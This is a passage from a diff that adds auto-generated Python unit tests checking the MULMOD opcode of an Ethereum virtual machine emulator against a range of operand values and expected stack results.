+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_484(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_485(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_486(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_487(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_488(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_489(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_MULMOD_490(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_491(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_MULMOD_492(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_493(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_494(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_495(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_496(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_497(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_498(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_499(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_500(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_501(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_502(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_503(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_504(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_505(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_MULMOD_506(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_507(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_MULMOD_508(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_509(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_510(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_511(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_512(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_513(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_514(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_515(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
